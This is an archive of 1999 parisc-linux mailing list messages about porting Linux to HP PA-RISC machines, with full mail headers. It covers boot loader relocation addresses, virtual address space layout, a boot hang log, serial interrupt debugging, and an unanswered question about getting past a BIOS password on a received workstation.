From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed June <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bios passwd override procedure ?
Date: Thu, 28 Oct 1999 13:18:50 -0400 (EDT)
Lines: 89
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.10.9910281306160.22597-100000@shell.america.net>
References: <199910281703.NAA06969@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618590 27321 80.91.229.3 (22 Nov 2014 01:09:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: buggz@america.net  Thu Oct 28 11:24:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA26090
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 11:24:19 -0600
Original-Received: (qmail 15005 invoked by uid 15267); 28 Oct 1999 17:25:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14998 invoked from network); 28 Oct 1999 17:25:25 -0000
Original-Received: from smtp.america.net (199.170.121.14)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 17:25:25 -0000
Original-Received: from shell (irc.24hoursupport.com [206.113.230.249])
	by smtp.america.net (8.9.1/8.9.1) with ESMTP id NAA18435
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 13:25:20 -0400 (EDT)
In-Reply-To: <199910281703.NAA06969@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6273


How does one override the bios passwd?
I have receieved a machine set w/ a bios passwd, and, the bios is set up
to disable the escape key.
Argh !
Is there some secret key-combo to break-in the bios ?
Or, do I have to have hp re-flash the bios ?
Oh, the machine is a 715/64...


--

 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.


X-From-Line: hppa-linux@thepuffingroup.com  Mon Mar  1 18:44:35 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01490
	for <pcj@merlin.pcj.primenet.com>; Mon, 1 Mar 1999 18:44:35 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Mon, 01 Mar 1999 18:44:35 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id SAA24363
	for <pcj@smtp-local.primenet.com>; Mon, 1 Mar 1999 18:12:18 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id SAA05565
	for <pcj@primenet.com>; Mon, 1 Mar 1999 18:12:16 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd005542; Mon Mar  1 18:12:13 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id TAA17928;
	Mon, 1 Mar 1999 19:35:06 -0500
Resent-Date: Mon, 1 Mar 1999 19:35:06 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
From: Steven Beattie <beattie@cse.ogi.edu>
Message-Id: <199903020034.QAA19394@church.cse.ogi.edu>
Subject: Re: [hppa-linux] Another bootstrap test
To: hppa-linux@thepuffingroup.com
Date: Mon, 1 Mar 1999 16:34:32 -0800 (PST)
In-Reply-To: <199902281700.JAA18341@milano.cup.hp.com> from "Grant Grundler" at Feb 28, 99 09:00:34 am
X-Mailer: ELM [version 2.4 PL23beta2]
Content-Type: text
Resent-Message-ID: <"en5VL1.0.2O4.v8pss"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/135
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: a2dfb58158cf5b205cf6b0365dcd5dcb
Lines: 29
Xref: merlin.pcj.primenet.com palinux:106

Here's a late report on a 720/50 booted via rbootd:

IPL_DEBUG: Page zero parameters:
  P0_IMM_max_mem:       67108864 (64MB)
  P0_IMM_spa_size:      67108864
  P0_MC_cont_size:      67108864
  P0_MC_phys_size:      67108864
  P0_MC_ad_size:        67108864
  P0_BOOTCPU_mem_free:  0x00006400
  P0_BOOTCPU_hpa:       0xFFFBE000
  P0_BOOTCPU_pdc:       0xF0007768
  P0_BOOTCPU_10msec:    500000
  P0_COUT_iodc_io:      0x00006400
  P0_CIN_iodc_io:       0x00009A3C
  P0_BOOTDEV_iodc_io:   0x0000AB88
  P0_COUT_class:        0x00000009
  P0_CIN_class:         0x00000008
  P0_BOOTDEV_class:     0x00000001
Reading parameters...done.
(kernel size = 28672 Loading kernel...

And then it hangs.

Steve

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 12:38:13 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <199910281838.MAA20701@debian.fc.hp.com>
References: <199910281703.NAA06969@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618590 27323 80.91.229.3 (22 Nov 2014 01:09:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:50 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), Helge.Deller@ruhr-uni-bochum.de,
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bame@debian.fc.hp.com  Thu Oct 28 12:37:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA26560
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 12:37:39 -0600
Original-Received: (qmail 14852 invoked by uid 15267); 28 Oct 1999 18:38:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14842 invoked from network); 28 Oct 1999 18:38:44 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 18:38:44 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id MAA19598;
	Thu, 28 Oct 1999 12:38:15 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id MAA22848; Thu, 28 Oct 1999 12:38:14 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id MAA20701;
	Thu, 28 Oct 1999 12:38:14 -0600
In-reply-to: Your message of "Thu, 28 Oct 1999 13:03:37 EDT."
             <199910281703.NAA06969@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6274

= > 
= > > I find it very strange that the kernel is being linked to start at
= > > 0xc0010000.  It's not your average machine that has this much physical
= > 
= > Logical or physical ?
= 
= Physical, at least when loading with hpux.  LDFLAGS are "-R 0xc0010000
= -N -e stext".  I know at one time the link was being done at 0x10000.

There isn't any concept of physical versus virtual
location in the HP linker that I'm aware of, though there might be somthing
hidden in an extension record.

The hpux boot loader assumes the text relocation address should also be
used as a physical load address.  In the case of Linux, relocated
at 3Gb, this clearly makes no sense.  It works fine for HP-UX which
is relocated to, and runs in, low physical memory.

= Does anyone know why this was changed?

I assume the earlier linking was purely experimental, since I've been
told (and haven't confirmed myself) that Linux 2.2.x essentially needs
to be relocated at 3Gb (or some other big value) because it assumes
it's available from the page tables of every process.  If
Linux was relocated at addresses near zero, this would result in
user programs having to start at addresses larger than the amount
of memory used by the kernel, which would be weird.

	-P


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 22:26:01 +0200
Organization: WTEC
Lines: 18
Approved: news@gmane.org
Message-ID: <3818B159.958F6B13@hpfrcu03.france.hp.com>
References: <199910281838.MAA20701@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618591 27325 80.91.229.3 (22 Nov 2014 01:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Alan Cox <alan@lxorguk.ukuu.org.uk>, Helge.Deller@ruhr-uni-bochum.de,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: phi@hpfrcu03.france.hp.com  Thu Oct 28 14:24:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA27055
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 14:24:17 -0600
Original-Received: (qmail 30129 invoked by uid 15267); 28 Oct 1999 20:25:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30120 invoked from network); 28 Oct 1999 20:25:23 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 20:25:23 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by palrel1.hp.com (Postfix) with ESMTP
	id 9AEB5B4; Thu, 28 Oct 1999 13:25:20 -0700 (PDT)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id WAA01476; Thu, 28 Oct 1999 22:26:01 +0200 (METDST)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6275

> If
> Linux was relocated at addresses near zero, this would result in
> user programs having to start at addresses larger than the amount
> of memory used by the kernel, which would be weird.
> 
>         -P

Does someone knows how linux will use the hppa quadran (space) for both
kernel-mode and user-mode for 32bit processor (and 64bit processors running
narrow), this somewhat influance mmap(), or more generally the virtual adress
space usage/limitation.

If someone envisioned the hppa 64 bits wide it would be nice to know as well
the layout and space convention too, this would help to see how narrow binary
could run on a wide kernel.

Phi


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 16:34:21 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <199910282034.QAA01794@hiauly1.hia.nrc.ca>
References: <199910281838.MAA20701@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618591 27336 80.91.229.3 (22 Nov 2014 01:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:51 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Helge.Deller@ruhr-uni-bochum.de,
        parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Oct 28 14:34:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA27259
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 14:34:50 -0600
Original-Received: (qmail 2539 invoked by uid 15267); 28 Oct 1999 20:35:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2528 invoked from network); 28 Oct 1999 20:35:57 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 20:35:57 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA01794;
	Thu, 28 Oct 1999 16:34:21 -0400 (EDT)
In-Reply-To: <199910281838.MAA20701@debian.fc.hp.com> from "Paul Bame" at Oct 28, 99 12:38:13 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6276

> The hpux boot loader assumes the text relocation address should also be
> used as a physical load address.  In the case of Linux, relocated
> at 3Gb, this clearly makes no sense.  It works fine for HP-UX which
> is relocated to, and runs in, low physical memory.
> 
> = Does anyone know why this was changed?
> 
> I assume the earlier linking was purely experimental, since I've been
> told (and haven't confirmed myself) that Linux 2.2.x essentially needs
> to be relocated at 3Gb (or some other big value) because it assumes
> it's available from the page tables of every process.  If
> Linux was relocated at addresses near zero, this would result in
> user programs having to start at addresses larger than the amount
> of memory used by the kernel, which would be weird.

Can't user programs be mapped with sr7 to OS public code while the kernel
runs in non-virtual mode in low physical memory?  When the kernel is
in virtual mode most of it might run with low virtual addresses.  I am
not an expert in Linux, so it is unclear to me how much of the system
needs to be visible to user apps.  However, I think for som apps we
want to achieve an app environment essentially identical to hp-ux so
hp compiled apps will run under pa linux.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 16:45:41 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <199910282045.QAA01929@hiauly1.hia.nrc.ca>
References: <3818B159.958F6B13@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618591 27337 80.91.229.3 (22 Nov 2014 01:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:51 +0000 (UTC)
Cc: bame@debian.fc.hp.com, alan@lxorguk.ukuu.org.uk,
        Helge.Deller@ruhr-uni-bochum.de, parisc-linux@thepuffingroup.com
To: phi@hpfrcu03.france.hp.com (Philippe Benard)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Oct 28 14:49:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA27503
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 14:49:24 -0600
Original-Received: (qmail 8108 invoked by uid 15267); 28 Oct 1999 20:50:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7844 invoked from network); 28 Oct 1999 20:49:36 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 20:49:36 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA01929;
	Thu, 28 Oct 1999 16:45:41 -0400 (EDT)
In-Reply-To: <3818B159.958F6B13@hpfrcu03.france.hp.com> from "Philippe Benard" at Oct 28, 99 10:26:01 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6277

> 
> > If
> > Linux was relocated at addresses near zero, this would result in
> > user programs having to start at addresses larger than the amount
> > of memory used by the kernel, which would be weird.
> > 
> >         -P
> 
> Does someone knows how linux will use the hppa quadran (space) for both
> kernel-mode and user-mode for 32bit processor (and 64bit processors running
> narrow), this somewhat influance mmap(), or more generally the virtual adress
> space usage/limitation.
> 
> If someone envisioned the hppa 64 bits wide it would be nice to know as well
> the layout and space convention too, this would help to see how narrow binary
> could run on a wide kernel.

Docs for 32 & 64 bit runtime environments can be found at
<http://www.software.hp.com/STK/toc.html>.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 14:02:48 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <3818B9F8.E38FFEA7@hp.com>
References: <199910281838.MAA20701@debian.fc.hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618592 27340 80.91.229.3 (22 Nov 2014 01:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Alan Cox <alan@lxorguk.ukuu.org.uk>, Helge.Deller@ruhr-uni-bochum.de,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: frank_rowand@hp.com  Thu Oct 28 15:02:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA27718
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 15:02:47 -0600
Original-Received: (qmail 14591 invoked by uid 15267); 28 Oct 1999 21:03:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14581 invoked from network); 28 Oct 1999 21:03:54 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 21:03:54 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP
	id F1156354; Thu, 28 Oct 1999 14:03:52 -0700 (PDT)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id OAA26254; Thu, 28 Oct 1999 14:02:49 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6278

Paul Bame wrote:
> 
> = >
> = > > I find it very strange that the kernel is being linked to start at
> = > > 0xc0010000.  It's not your average machine that has this much physical
> = >
> = > Logical or physical ?
> =
> = Physical, at least when loading with hpux.  LDFLAGS are "-R 0xc0010000
> = -N -e stext".  I know at one time the link was being done at 0x10000.
> 
> There isn't any concept of physical versus virtual
> location in the HP linker that I'm aware of, though there might be somthing
> hidden in an extension record.
> 
> The hpux boot loader assumes the text relocation address should also be
> used as a physical load address.  In the case of Linux, relocated
> at 3Gb, this clearly makes no sense.  It works fine for HP-UX which
> is relocated to, and runs in, low physical memory.
> 
> = Does anyone know why this was changed?
> 
> I assume the earlier linking was purely experimental, since I've been
> told (and haven't confirmed myself) that Linux 2.2.x essentially needs
> to be relocated at 3Gb (or some other big value) because it assumes




> it's available from the page tables of every process.  If
> Linux was relocated at addresses near zero, this would result in
> user programs having to start at addresses larger than the amount
> of memory used by the kernel, which would be weird.
> 
>         -P

Not so weird.  It's just a virtual address, not a physical address.

-Frank


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 23:10:26 +0200
Organization: WTEC
Lines: 14
Approved: news@gmane.org
Message-ID: <3818BBC2.25E8C65C@hpfrcu03.france.hp.com>
References: <199910282045.QAA01929@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618592 27341 80.91.229.3 (22 Nov 2014 01:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:52 +0000 (UTC)
Cc: bame@debian.fc.hp.com, alan@lxorguk.ukuu.org.uk,
        Helge.Deller@ruhr-uni-bochum.de, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: phi@hpfrcu03.france.hp.com  Thu Oct 28 15:07:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA27910
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 15:07:51 -0600
Original-Received: (qmail 16965 invoked by uid 15267); 28 Oct 1999 21:08:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16955 invoked from network); 28 Oct 1999 21:08:57 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 21:08:57 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA06168;
	Thu, 28 Oct 1999 14:08:37 -0700 (PDT)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id XAA01819; Thu, 28 Oct 1999 23:10:26 +0200 (METDST)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6279

John David Anglin wrote:

> 
> Docs for 32 & 64 bit runtime environments can be found at
> <http://www.software.hp.com/STK/toc.html>.

I'd like the same but for linux not hp-ux, I'd like to know how the VAS will
be used on linux.

Phi
--
mailto:phi@hpfrcu81.france.hp.com
WTEC Project. Kernel debugging tools


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 15:11:45 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <199910282111.PAA21242@debian.fc.hp.com>
References: <3818BBC2.25E8C65C@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618592 27348 80.91.229.3 (22 Nov 2014 01:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Thu Oct 28 15:10:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA28067
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 15:10:42 -0600
Original-Received: (qmail 18185 invoked by uid 15267); 28 Oct 1999 21:11:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18168 invoked from network); 28 Oct 1999 21:11:48 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 21:11:48 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id PAA10921
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 15:11:46 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id PAA25964 for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 15:11:46 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id PAA21242
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 15:11:45 -0600
In-reply-to: Your message of "Thu, 28 Oct 1999 23:10:26 +0200."
             <3818BBC2.25E8C65C@hpfrcu03.france.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6280

= John David Anglin wrote:
= 
= > 
= > Docs for 32 & 64 bit runtime environments can be found at
= > <http://www.software.hp.com/STK/toc.html>.
= 
= I'd like the same but for linux not hp-ux, I'd like to know how the VAS will
= be used on linux.

We should probably ask prumpf when he returns.

	-P


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial.c and request_irq()
Date: Thu, 28 Oct 1999 18:34:15 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <199910290134.SAA06943@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618592 27349 80.91.229.3 (22 Nov 2014 01:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Oct 28 19:33:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA28998
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 19:33:02 -0600
Original-Received: (qmail 11360 invoked by uid 15267); 29 Oct 1999 01:34:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11350 invoked from network); 29 Oct 1999 01:34:09 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 29 Oct 1999 01:34:09 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA01022
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 18:33:49 -0700 (PDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id SAA06943 for parisc-linux@thepuffingroup.com; Thu, 28 Oct 1999 18:34:15 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:6281


I've most of today trying to interrupts under LASI working
and half of that was trying to understand drivers/char/serial.c.
My basic problem is serial.c has four references to request_irq()
and none of them are being invoked. I have a printk() in
request_irq() which isn't showing up.
Anyone understand why not?

Otherwise I'll just add a bunch more printk's to serial.c and
figure out why now...sure could use a debugger at this point.

thanks,
grant


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
